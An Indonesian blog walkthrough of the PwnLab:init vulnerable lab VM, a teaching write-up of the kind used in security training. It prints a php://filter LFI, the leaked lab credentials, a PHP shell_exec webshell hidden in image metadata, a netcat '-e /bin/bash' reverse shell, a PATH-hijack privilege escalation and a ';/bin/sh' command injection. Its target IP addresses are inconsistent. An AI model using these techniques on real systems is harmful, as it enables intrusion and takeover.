I. Latar Belakang

Untuk mengasah kemampuan dalam hacking dan penetration testing saya sering mencari VM (virtual machine) untuk latihan, salah satu yang saya temukan di VulnHub adalah PwnLab:init

Pwnlab: init , yang dapat di download gratis di sini,  adalah VM yang berbasis sistem operasi Linux yang sengaja di buat rentan agar bisa di exploit, seperti tertulis di situsnya tingkat kesusahanya adalah rendah, namun walaupun di bilang rendah bagi saya tidak mudah, banyak hal baru yang saya temukan di mesin ini.

untuk informasi :

 

  • IP Lokal     : 172.16.61.157
  • IP Target    : 172.16.61.1

II. Pengumpulan Informasi 

Langkah pertama adalah melakukan pengumpulan informasi sebanyak banyaknya  dengan menggunakan sebuah tool favorit saya, yaitu  Nmap.

nmap1
nmap -Pn -p- 172.16.61.169

Disini tampak port yang terbuka beserta service atau layanan nya, disini sudah dapat disimpulkan bahwa ada web server atau aplikasi berbasis web di port 80, dan MySql server di port 3306

Selain ini kita juga memastikan apakah ada layanan di port UDP, scanning port UDP sering kali kita lupakan dalam fase  gathering info

nmap2
nmap -Pn -sU 172.16.61.159

UDP port yang terbuka adalah 68 dan 111.

 

III. Enumerasi Layanan / Service Enumeration

Langkah selanjutnya adalah melakukan enumerasi layanan yang kita dapatkan setelah melakukan scan terhadap port, terutama pada Port 80 dan 3306

  1. Enumurasi TCP Port 80 HTTP

nmap3-port80
nmap -p80 -sV 172.16.61.159

Dapat kita lihat disini bahwa mesin ini menggunakan Apache 2.4.10 web server. Selanjutnya kita akan menggunakan tool yang bernama nikto untuk lebih lanjut mengenumerasi layanan http di port 80 ini

nikto1
nikto -host 172.16.61.159 -C all

Dari hasil ini dapat dilihat dengan jelas bahasa pemograman yang digunakan, yaitu PHP, dan terlihat juga sebagian struktur direktorinya, yang paling menarik bagi kita adalah adanya file bernama config.php yang kemungkinan besar menyimpan informasi user dan password untuk melakukan koneksi ke database MySql.

Selanjutnya kita coba membuka melalui web browser 172.16.61.159

website

Dapat diketahui disini bahwa user harus login menggunakan username dan password, dan terdapat pilihan untuk mengupload file, mungkin disini pintu kita masuk nanti, namun sementara waktu …

  2. Enumerasi TCP Port 3306 mysql

Port berikutnya yang akan kita enumerasi adalah port 3306 yang sudah kita ketahui terdapat MySql server namun untuk mendapatkan informasi lebih dalam kita lakukan version scan menggunakan Nmap

nmap3306
nmap -p3306 -sV 172.16.61.159

Dan juga menggunakan Nmap MySql script

nmapsql
nmap -p3306 – -script mysql-info 172.16.61.159

Hasil enumerasi ini menunjukan bahwa versi dari MySql server ini adalah 5.5.47, dari hasil informasi ini kita dapat melakukan pencarian di search engine seperti google untuk mencari kerentanan database ini.

III. Eksploitasi / Exploit 

    1. Mendapatkan Shell dengan Akses Terbatas

Langkah berikutnya adalah mengolah informasi yang sudah kita dapatkan diantara informasi yang paling menarik adalah adanya sebuah file config.php yang kemungkinan berisi informasi penting, paling tidak informasi untuk melakukan koneksi ke database.

pagelogin

Inilah penampakan login file, yang terlihat hanyalah ../?page=login tidak ada kelihatan .php, keadaan seperti ini  biasanya bisa di bypass menggunakan poison null byte, kemudian saya mencoba coba seperti ini  /?page=../…/../etc/passwd%00 tetapi tidak membuahkan hasil.

Kemudian saya kembali ke google untuk mencari bagaimana saya bisa paling tidak membaca isi dari config.php, setelah lama mencari di berbagai forum yang disertai caci maki programmer php karena saya menanyakan bagaimana extract file php dari sebuah website haha :p pada akhirnya  saya menemukan situs ini “Using php://filter for local file inclusion”  yang memberikan contoh seperti ini :

screen-shot-2016-09-17-at-11-47-04-pm

ini akan membuat php untuk encode ke base64 sebelum digunakan ke dalam statement, yang akan kita lakukan selanjutnya adalah men decode string base64 untuk mendapatkan source code dari script php yang kita inginkan.

Saya coba untuk file login.php, kemudian saya menggunakan tool burp suite untuk mendecode base64.

base64login

Selanjutnya saya mendecode dari base64 menggunakan burp suite

burplogin

Tampak dengan jelas output script php dari login.php, kemudian kita coba untuk config.php

config

Selanjutnya kita decode menggunakan burp suite

burp2

tadaaaaaa … akhirnya terbaca juga isi dari config.php, informasi kredensial ini akan kita pakai untuk login ke MySql server untuk selanjutnya kita lakukan enumerasi mysql lebih dalam lagi. Untuk lebih jelasnya script config.php yang baru didapat berisi:

<?php

$server = “localhost”;
$username = “root”;
$password = “H4u%QJ_H99”;
$database = “Users”;
?>

 

selanjutnya kita akan login ke MySql Server menggunakan username: root dan password  H4u%QJ_H99  . 

Dengan menggunakan perintah:

mysql -u root -p -h 172.16.61.159

mysql1

Login berhasil dan disini dapat kita lihat terdapat dua database information_schema dan Users, kita tertarik dengan Users, maka langkah berikutnya adalah melihat isi dari database yang bernama Users

mysql2

Ternyata didalam Database Users terdapat satu table yang bernama users setelah tabel tersebut kita buka ternyata berisi username dan password yang tampaknya telah di encode kedalam base64, tugas kita berikut nya adalah men decode kembali password tersebut untuk kemudian kita log-in melalui website dan upload file yang sudah kita isi dengan reverse shell .

Saya mulai decode dengan menggunakan decoder yang terdapat di burp suite

burp1

Tampak disini password untuk username kent adalah JWzXuBJJNy, untuk lebih lengkapnya :

kent : JWzXuBJJNy

mike : SIfdsTEn6I

kane : iSv5Ym2GRo

Username dan password ini dapat kita gunakan untuk login kedalam wibsite

firstlogin

disini saya menggunakan user kent untuk login, senang rasanya sudah dapat login saya tinggal upload file yang saya buat dengan msfvenom untuk mendapatkan shell meterpreter , atau menggunakan netcat, tapi ternyata kebahagian berubah menjadi kesedihan … :p

noupload

ternyata hanya file image yang bisa masuk, bahkan saya juga mencoba merubah ekstensi .php saya menjadi .jpg, namun tetap tidak bisa, harus menggunakan cara lain

mari kita lihat apa isi dari script upload.php

kembali menggunakan :

page=php://filter/convert.base64-encode/resource=upload

keluarlah tampilan ini :

php1

Sangat jelas bahwa file yang diperboleh kan hanya file berekstensi .jpg, .jpeg, .gif, .png, kemudian setelah melihat terus kebawah :

screen-shot-2016-09-21-at-10-10-21-am

terlihat disini bukan hanya file berekstensi image, namun juga script ini akan memeriksa tipe filenya, kemudian diubah nama file menggunakan md5 dan memasang kembali ekstensi file setelah itu file akan dikirim ke folder /upload

saya coba melakukan upload  file image biasa dan lihat “page source” nya

source1

Terlihat nama file .png  yang sudah di decode menggunakan md5

Menghadapi kenyataan seperti ini saya harus mencari cara untuk memasukan kode php kedalam file image atau gambar untuk mendapatkan reverse shell .

Namun untuk sementara waktu  saya kembali menganalisa file index.php yang isinya terdapat seperti ini :

screen-shot-2016-09-20-at-2-32-47-pm

aha… ada cookie “lang” yang belum terimplementasi namun sudah di include ini menandakan kita biasa melakukan LFI atau Local File Inclusion.

Setelah kembali ke google saya mencari cari  bagaimana memasukan script PHP kedalam file Image, setelah lama mencari akhirnya saya menemukan sebuah aplikasi bernama exif pilot. Dengan aplikasi ini saya akan menambahkan “meta tag” kedalam sebuah file image .jpg.

Berhubung aplikasi ini hanya dapat dijalankan dengan Operating System Windows dan OS saya Mac saya menggunakan wine untuk menjalankan aplikasi ini. Seperti tampak dibawah ini.

screen-shot-2016-09-20-at-2-48-18-pm

Kemudian saya kembali ke browser untuk melakukan upload file image ini

Screen Shot 2016-09-20 at 3.02.59 PM.png

bersamaan dengan proses ini saya kembali menggunakan burp suit intuk men intercept transmisi ini .

screen-shot-2016-09-20-at-3-00-42-pm

Kelihatan di awal binary ada <?php echo shell_exec($_GET[“cmd”]); ?> yang sebelumnya sudah kita isi menggunakan exif pilot dengan harapan nanti bisa dieksekusi untuk mendapatkan “limited shell”. Dan perlu dicatat lokasi file dan nama file yang sudah diubah menggunakan md5 encoder

screen-shot-2016-09-20-at-3-16-16-pm

Masih dengan burp suite, kita gunakan repeaternya, untuk mentest shell command “ls” dengan hasil sebagai berikut :

screen-shot-2016-09-20-at-3-22-12-pm

Berhasil, di kolom kanan terlihat listing file dari current directory nya, sekarang saya akan mencoba memasukan reverse shell netcat dengan langkah pertama  menyiapkan listener

screen-shot-2016-09-20-at-3-27-17-pm
set netcat listener

kemudian saya set reverse shell nya yang kemudian  encode  ke url menggunakan decoder yang terdapat di burp suite.

screen-shot-2016-09-20-at-3-33-06-pm
nc -nv 172.16.61.157 4444 -e /bin/bash

Setelah ini saya  kembali mengintercept menggunakan burp suite, kita akan panggil kembali index.php dan memodifikasi cmd dan lang seperti tampilan dibawah ini

screen-shot-2016-09-20-at-3-40-43-pm

setelah ini tereksekusi maka shell kita akan hidup dan tersambung ke mesin pwnlab walau dengan akses terbatas.

screen-shot-2016-09-20-at-3-44-29-pm

kemudian untuk mengurangi penderitaan, dapat ditambahkan tambahkan command: echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/shell.py takan enter kemudian tulis python /tmp/shell.py

dapatlah Present Working Directory nya agar kita tahu selalu kita sedang berada di directory mana.

screen-shot-2016-09-20-at-3-49-18-pm

sekarang tinggal kita melakukan Privilege Escalation untuk mendapatkan “root”

 2.  Privilege Escalation / meningkatkan hak akses

Setelah mendapatkan shell kita mulai mengenumerasi mesin ini menggunakan salah satu tools yatu linuxprivchecker.py, tools ini membantu enumerasi namun terkadang hasil rekomendasi exploitnya tidak selalu tepat. Untuk hasil enumerasi menggunakan linuxprivchecker yang lengkap dapat di klik disini

salah satu hasil dari linuxprivchecker.py yang menarik perhatian adalah ada nya user yang nama username sama dengan user di MySql

username

terdapat user dengan nama Kent, Mike dan Kane yang sama seperti isi table Users di MySql, kita akan coba untuk login menggunakan password dari MySql.

sukane

Kelihatan disini hanya user kent dan kane yang mempunyai password yang  bisa digunakan untuk login. Setelah melakukan pengecekan kepada kedua user tersebut user kane memiliki isi home folder yang menarik dan mungkin bisa berguna

kane

terlihat disini kane mempunyai sebuah file di home folder nya bernama msgmike dan kita ketahui bahwa saya tidak mempunyai akses ke mike, tapi dari file permission nya suid(s) terlihat file ini bisa dieksekusi oleh user lain “on behalf of mike”, mari kita telusuri isi dari msgmike

screen-shot-2016-09-20-at-8-07-34-pm

terlihat disini, hanyalah karakter yang tidak terbaca dan  dengan beberapa tulisan terbaca seperti /home/mike/msg.txt, sepertinya ini adalah file yang bisa dieksekusi, kita coba melakukan eksekusi dengan perintah  ./msgmike

screen-shot-2016-09-20-at-8-47-36-pm
./msgmike

ternyata benar ini adalah file yang bisa dieksekusi, yang mengeksekusi perintah “cat” atau membaca file text msg.txt, namun nama file dan direktorinya tidak ditemukan, kemungkinan karena hak akses.

Kemudian kita lanjutkan menggunakan perintah “strings msgmike” yang kemudian membuahkan hasil seperti ini:

screen-shot-2016-09-21-at-3-08-28-pm
strings msgmike

./msgmike dapat menjalan kan “cat” walaupun pathnya tidak ketemu, artinya kita bisa membuat versi cat kita sendiri untuk dijalankan , saya akan membuat sebuah file yang bernama “cat” dengan ‘/bin/sh’ didalamnya.

Disini kita akan memanipulasi path untuk menjalan kan cat, path sekarang adalah:

screen-shot-2016-09-21-at-4-54-09-pm

path ini akan kita rubah menggunakan perintah ‘export PATH=/home/kane:$PATH‘ kemudian kita buat cat file dengan perintah ini : ‘echo “/bin/sh” > cat

screen-shot-2016-09-21-at-4-53-09-pm

kemudian file ‘cat’ yang baru di buat saya berikan izin untuk eksekusi menggunakan perintah ‘chmod +x cat‘, kemudian kita pindah shell menggunakan perintah ‘/bin/sh‘ selanjutnya saya melakukan eksekusi menggunakan perintah ‘./msgmike

screen-shot-2016-09-21-at-5-17-32-pm
./msgmike

Setelah berhasil kita pergi ke home folder mike untuk melihat file-file apa yang bisa membantu kita naik ke root

screen-shot-2016-09-21-at-5-25-13-pm

tampak disini ada file yang bernama msg2root jika kita lihat permission nya ada suid(s) sepert file msgmike, kemudian saya coba untuk eksekusi

screen-shot-2016-09-21-at-5-45-47-pm

Setelah saya coba mengesekusi, tampak jelas program ini meng ‘echo’ apa yang kita tulis, dari sini dapat kita simpulkan bahwa ini adalah perintah bash yang bisa kita sisipkan seperti contoh berikut :

screen-shot-2016-09-21-at-5-51-31-pm

tampak disini saya menyisipkan perintah /bin/sh setelah saya tulis harry dan dipisahkan oleh ‘;’ yang artinya setelah mengeksekusi harry untuk di echo kan kemudian mengeksekusi /bin/sh, dan kemudian saya bisa masuk ke root

screen-shot-2016-09-21-at-6-32-24-pm

setelah saya masuk ke folder root langsung tampak file yang bernama flag.txt, file tersebut kalau kita buka isinya adalah bukti bahwa kita telah menyelesaikan permainan ini

screen-shot-2016-09-21-at-6-11-54-pm
flag.txt

IV. Kesimpulan

Menurut saya Pwnlab:init adalah VM yang sangat menarik, walaupun endingnya kurang mewakili “real life experience” namun banyak hal baru yang saya dapat kan dari VM ini seperti Local File Inclusion yang menggunakan filter untuk men encode ke Base64 yang kemudian saya  decode kembali untuk membaca  script PHP nya, sampai dengan memberikan tambahan pengetahuan ke saya mengenai shell scripting.

Wassalam

A. Zaki

Advertisements